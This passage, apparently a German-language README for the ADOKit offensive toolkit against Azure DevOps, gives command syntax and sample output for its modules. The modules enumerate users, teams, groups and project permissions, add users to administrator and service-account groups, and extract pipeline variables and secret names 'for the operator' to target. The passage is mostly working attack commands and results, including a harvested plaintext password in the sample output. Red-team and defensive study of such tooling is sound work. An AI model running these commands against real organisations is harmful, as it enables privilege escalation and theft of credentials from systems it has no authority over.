ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Teams auflisten
#### Anwendungsfall
> *Listet Teams in einer Azure DevOps-Instanz auf*
#### Syntax
Geben Sie das Modul `listteam` zusammen mit den entsprechenden Authentifizierungsinformationen und der URL an. Dies gibt den Teamnamen, den Projektnamen und die Teambeschreibung aus.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Suche nach bestimmten Teams in der Azure DevOps-Instanz
Gib das searchteam Modul und deine Suchkriterien im Befehlszeilenargument /search: an, zusammen mit den entsprechenden Authentifizierungsinformationen und der URL. Dies gibt den Teamnamen, den Projektnamen und die Teambeschreibung aus.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Team-Mitglieder abrufen
#### Anwendungsfall
> *Team-Mitglieder für ein bestimmtes Team abrufen*
#### Syntax
Geben Sie das Modul `getteammembers` und Ihre Suchkriterien im Befehlszeilenargument `/search:` zusammen mit den entsprechenden Authentifizierungsinformationen und der URL an. Daraufhin werden der Teamname, der Team-Mitgliedsbenutzername und der Anzeigename des Team-Mitglieds ausgegeben.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Beispielausgabe```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Gruppen in einer Azure DevOps-Instanz auflisten
Geben Sie das listgroup-Modul zusammen mit allen relevanten Authentifizierungsinformationen und der URL an. Dies gibt den Benutzerprinzipalnamen, den Anzeigenamen und die Beschreibung der Gruppe aus.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Search Groups
#### Anwendungsfall
> *Suche nach angegebenen Gruppe(n) in der Azure DevOps-Instanz*
#### Syntax
Geben Sie das Modul `searchgroup` und Ihre Suchkriterien im Befehlszeilenargument `/search:` an, zusammen mit relevanten Authentifizierungsinformationen und der URL. Dies gibt den Benutzerprinzipalnamen, den Anzeigenamen und die Beschreibung der übereinstimmenden Gruppe aus.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Beispielausgabe```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Alle Gruppenmitglieder für eine bestimmte Gruppe auflisten
Stellen Sie das Modul getgroupmembers und die Gruppe(n), die Sie suchen möchten, im Befehlszeilenargument /group: bereit, zusammen mit relevanten Authentifizierungsinformationen und der URL. Dies gibt den Benutzerprinzipalnamen der übereinstimmenden Gruppe sowie jedes Gruppenmitglied dieser Gruppe aus, einschließlich der E-Mail-Adresse und des Anzeigenamens des Benutzers.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Berechtigungen für Projekt abrufen
#### Anwendungsfall
> *Rufen Sie eine Liste der Personen ab, die über Berechtigungen für ein bestimmtes Projekt verfügen.*
#### Syntax
Geben Sie das Modul `getpermissions` und das Projekt, das Sie im Befehlszeilenargument `/project:` suchen möchten, zusammen mit allen relevanten Authentifizierungsinformationen und der URL an. Dies gibt den Benutzerprinzipalnamen, den Anzeigenamen und die Beschreibung für die übereinstimmende Gruppe aus. Zusätzlich werden die Gruppenmitglieder für jede dieser Gruppen ausgegeben.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Beispielausgabe```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Fügt einen Benutzer zur Gruppe Projektadministratoren für ein bestimmtes Projekt hinzu.
Geben Sie das addprojectadmin-Modul zusammen mit einem /project: und /user: für einen bestimmten Benutzer an, der zur Gruppe Project Administrators für das angegebene Projekt hinzugefügt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL mit. Siehe Moduldetails-Tabelle für die Berechtigungen, die zur Ausführung dieser Aktion erforderlich sind.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Projektadministrator entfernen
#### Anwendungsfall
> *Entfernen Sie einen Benutzer aus der Gruppe Projektadministratoren für ein bestimmtes Projekt.*
#### Syntax
Stellen Sie das Modul `removeprojectadmin` zusammen mit einem `/project:` und `/user:` für einen bestimmten Benutzer bereit, der aus der Gruppe `Project Administrators` für das angegebene Projekt entfernt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Weitere Informationen zu den erforderlichen Berechtigungen finden Sie in der [Moduldetails-Tabelle](#module-details-table).
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Beispielausgabe```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Einen Benutzer zur Build-Administratoren-Gruppe für ein bestimmtes Projekt hinzufügen.
Stellen Sie das Modul addbuildadmin zusammen mit /project: und /user: für einen Benutzer bereit, der zur Gruppe Build Administrators für das angegebene Projekt hinzugefügt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Siehe Module Details Table für die erforderlichen Berechtigungen, um diese Aktion auszuführen.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Build-Administrator entfernen
#### Anwendungsfall
> *Entfernt einen Benutzer aus der Gruppe „Build Administrators“ für ein bestimmtes Projekt.*
#### Syntax
Geben Sie das Modul `removebuildadmin` zusammen mit einem `/project:` und `/user:` für einen bestimmten Benutzer an, der aus der Gruppe `Build Administrators` für das angegebene Projekt entfernt werden soll. Zusätzlich sind die entsprechenden Authentifizierungsinformationen und die URL anzugeben. Siehe [Moduldetailtabelle](#module-details-table) für die erforderlichen Berechtigungen zur Durchführung dieser Aktion.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Beispielausgabe```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Fügen Sie einen Benutzer zur Gruppe 'Project Collection Administrators' hinzu.
Geben Sie das Modul addcollectionadmin zusammen mit einem /user: für einen bestimmten Benutzer an, der zur Gruppe Project Collection Administrators hinzugefügt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Weitere Informationen zu den erforderlichen Berechtigungen finden Sie in der Modul-Detailtabelle.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Sammlungsadministrator entfernen
#### Anwendungsfall
> *Entfernen Sie einen Benutzer aus der Gruppe 'Project Collection Administrators'.*
#### Syntax
Stellen Sie das Modul `removecollectionadmin` zusammen mit einem `/user:` für einen bestimmten Benutzer bereit, der aus der Gruppe `Project Collection Administrators` entfernt werden soll. Geben Sie außerdem die relevanten Authentifizierungsinformationen und die URL an. Siehe [Moduldetails-Tabelle](#module-details-table) für die Berechtigungen, die zur Ausführung dieser Aktion erforderlich sind.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Beispielausgabe```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Fügen Sie einen Benutzer zur Gruppe 'Project Collection Build Administrators' hinzu.
Stellen Sie das Modul addcollectionbuildadmin zusammen mit einem /user: für einen bestimmten Benutzer bereit, der zur Gruppe Project Collection Build Administrators hinzugefügt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Siehe Moduldetails-Tabelle für die Berechtigungen, die zum Ausführen dieser Aktion erforderlich sind.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Sammlungs-Build-Administrator entfernen
#### Anwendungsfall
> *Entfernen Sie einen Benutzer aus der Gruppe „Projektsammlungs-Build-Administratoren".*
#### Syntax
Geben Sie das Modul `removecollectionbuildadmin` zusammen mit `/user:` für einen bestimmten Benutzer an, der aus der Gruppe `Project Collection Build Administrators` entfernt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Siehe [Modul-Details-Tabelle](#module-details-table) für die erforderlichen Berechtigungen, um diese Aktion auszuführen.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Beispielausgabe
` ````
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Fügen Sie einen Benutzer zur Gruppe
Project Collection Build Service Accountshinzu.
Geben Sie das Modul addcollectionbuildsvc zusammen mit einem /user: für einen bestimmten Benutzer an, damit dieser zur Gruppe Project Collection Build Service Accounts hinzugefügt wird. Übergeben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL. Weitere Informationen zu den erforderlichen Berechtigungen finden Sie in der Modul-Details-Tabelle.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Sammlungs-Build-Dienstkonto entfernen
#### Anwendungsfall
> *Entfernt einen Benutzer aus der Gruppe 'Project Collection Build Service Accounts'.*
#### Syntax
Geben Sie das Modul `removecollectionbuildsvc` zusammen mit einem `/user:` für einen bestimmten Benutzer an, der aus der Gruppe `Project Collection Build Service Accounts` entfernt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Siehe [Modul-Detailtabelle](#module-details-table) für die Berechtigungen, die zum Ausführen dieser Aktion erforderlich sind.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Beispielausgabe```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Fügen Sie einen Benutzer zur Gruppe „Project Collection Service Accounts“ hinzu.
Geben Sie das Modul addcollectionsvc zusammen mit einem /user: für einen bestimmten Benutzer an, der zur Gruppe Project Collection Service Accounts hinzugefügt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Siehe Tabelle der Moduldetails für die Berechtigungen, die zum Ausführen dieser Aktion erforderlich sind.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Sammlungsdienstkonto entfernen
#### Anwendungsfall
> *Entfernen Sie einen Benutzer aus der Gruppe 'Project Collection Service Accounts'.*
#### Syntax
Stellen Sie das Modul `removecollectionsvc` zusammen mit einem `/user:` für einen bestimmten Benutzer bereit, der aus der Gruppe `Project Collection Service Accounts` entfernt werden soll. Geben Sie außerdem alle relevanten Authentifizierungsinformationen und die URL an. Siehe [Module Details Table](#module-details-table) für die Berechtigungen, die für diese Aktion erforderlich sind.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Beispielausgabe```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Extrahiere alle Pipeline-Variablen, die in Projekten verwendet werden und möglicherweise Anmeldedaten oder andere nützliche Informationen enthalten.
Gib das Modul getpipelinevars zusammen mit einem /project: für ein bestimmtes Projekt an, um alle verwendeten Pipeline-Variablen zu extrahieren. Wenn du Pipeline-Variablen aus allen Projekten extrahieren möchtest, gib all im Argument /project: an.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Pipeline-Geheimnisse abrufen
#### Anwendungsfall
> *Extrahiert die Namen aller Pipeline-Geheimnisse, die in Projekten verwendet werden. Dies gibt dem Bediener einen Hinweis, wo er versuchen sollte, Geheimnisse zu extrahieren.*
#### Syntax
Geben Sie das Modul `getpipelinesecrets` zusammen mit einem `/project:` für ein bestimmtes Projekt an, um die Namen aller verwendeten Pipeline-Geheimnisse zu extrahieren. Wenn Sie die Namen der Pipeline-Geheimnisse aus allen Projekten extrahieren möchten, geben Sie `all` im Argument `/project:` an.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
